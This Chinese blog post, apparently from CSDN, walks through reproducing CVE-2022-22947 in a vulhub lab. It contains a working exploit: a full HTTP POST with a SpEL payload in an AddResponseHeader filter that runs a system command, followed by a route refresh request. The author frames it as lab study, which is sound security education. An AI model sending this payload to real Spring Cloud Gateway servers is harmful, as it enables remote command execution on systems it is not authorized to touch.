Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现

漏洞原理

当使用可用于启用网关执行器的 Spring Cloud Gateway Server jar 时,SpEL也会被使用。而攻击者可以利用SpEL中的函数 StandardEvaluationContext,通过恶意输入来执行远程代码。

原文地址:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现

打开vulhub,其安装方式可以查看https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5501,在靶机中输入

cd spring/CVE-2022-22947
sudo docker-compose up -d
sudo docker-compose ps

然后访问根据显示访问http://靶机IP:8080

当网页使用了Spring Cloud Gateway Actuator API,则可以通过GET方式访问 http://靶机IP:8080/actuator/gateway/routes查看其路由规则,因为这是个靶场,所以肯定是允许你访问的,正经网站肯定是不会给你访问的,Spring Cloud Gateway Actuator API的使用方式有

IDHTTP方法描述
globalfiltersGET显示应用于路由的全局过滤器列表
routefiltersGET显示应用于特定路由的GatewayFilter工厂列表
refreshPOST刷新路由配置
routesGET显示网关中定义的路由列表
routes/{id}GET显示有关特定路线的信息
routes/{id}POST将新路由添加到网关
routes/{id}DELETE从网关删除现有路由

具体内容可以查看https://blog.csdn.net/qq_30285985/article/details/102995277

在这里插入图片描述
通过查看可以知道这里需要的参数有:

名称作用
route_id路线编号
filters过滤器链表
uri服务器地址

每一个过滤器中都包含有ShortcutConfigurable接口,该接口中的getValue方法就使用到了StandardEvaluationContext来解析SpEL表达式,所以我们可以选择任一过滤器进行使用,这里使用过滤器AddResponseHeader

在这里插入图片描述

打开burpsuite进行放包,我们需要添加一个新的路由到网关,添加新的路由需要用POST方式提交,而网关最终会将所有的请求交给过滤链表filters进行处理,所以我们将待执行的命令放到filters中,具体数据包为:

POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 靶机IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 331

{
  "id": "hacker",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
然后使用refresh刷新路由配置,refresh也需要用POST方式提交,具体数据包为:

POST /actuator/gateway/refresh HTTP/1.1
Host: 靶机IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

浏览器访问http://靶机IP:8080/actuator/gateway/routes查看到路由表配置,此时可以看到多出了我们新添加的路由路径hacker,并且可以看到他已经成功执行了我们输入的命令:whoami

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值